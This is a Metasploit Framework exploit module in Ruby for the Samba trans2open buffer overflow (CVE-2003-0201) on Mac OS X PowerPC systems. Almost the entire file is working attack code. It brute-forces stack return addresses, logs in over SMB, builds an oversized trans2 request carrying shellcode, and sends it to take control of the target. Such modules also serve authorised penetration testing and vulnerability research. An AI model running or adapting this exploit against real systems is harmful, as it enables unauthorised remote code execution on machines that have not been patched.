##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba trans2open Overflow (Mac OS X PPC)',
			'Description'    => %q{
					This exploits the buffer overflow found in Samba versions
				2.2.0 to 2.2.8. This particular module is capable of
				exploiting the bug on Mac OS X PowerPC systems.
			},
			'Author'         => [ 'hdm', 'jduck' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2003-0201' ],
					[ 'OSVDB', '4469' ],
					[ 'BID', '7294' ],
					[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'MinNops'  => 512,
				},
			'Platform'       => 'osx',
			'Arch'           => ARCH_PPC,
			'Targets'        =>
				[
					[ 'Samba 2.2.x - Bruteforce',
						{
							# Not necessary on PPC
							# 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
							'Offset'       => 1195,
							'Bruteforce'   =>
								{
									'Start' => { 'Ret' => 0xbffffdfc },
									'Stop'  => { 'Ret' => 0xbfa00000 },
									'Step'  => 512
								}
						}
					]
				],
			'DisclosureDate' => 'Apr 7 2003',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(139)
			], self.class)
	end

	# Need to perform target detection
	def autofilter
		false
	end

	def brute_exploit(addrs)

		curr_ret = addrs['Ret']
		begin
			print_status("Trying return address 0x%.8x..." %  curr_ret)

			connect
			smb_login

			# 1988 is required for findrecv shellcode
			pattern = rand_text_english(1988)

			# This stream covers the framepointer and the return address
			off = target['Offset']
			pattern[off, 64] = [curr_ret].pack('N') * 16

			# Stuff the shellcode into the request
			pattern[3, payload.encoded.length] = payload.encoded

			trans =
				"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
				"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
				pattern

			sock.put(trans)
			handler
			disconnect

		rescue EOFError
		rescue => e
			print_error("#{e}")
		end

	end

end